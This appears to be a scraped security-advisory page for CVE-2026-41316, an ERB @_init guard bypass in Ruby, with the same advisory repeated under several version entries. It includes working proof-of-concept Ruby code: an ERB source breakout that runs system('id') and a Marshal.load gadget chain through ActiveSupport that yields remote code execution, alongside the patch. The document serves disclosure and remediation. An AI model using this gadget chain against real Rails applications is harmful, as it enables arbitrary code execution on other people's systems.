#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 04, 2024

4.0.4 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 04, 2024

4.0.2 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 29, 2022

4.0.1 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 27, 2022

4.0.0 major

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

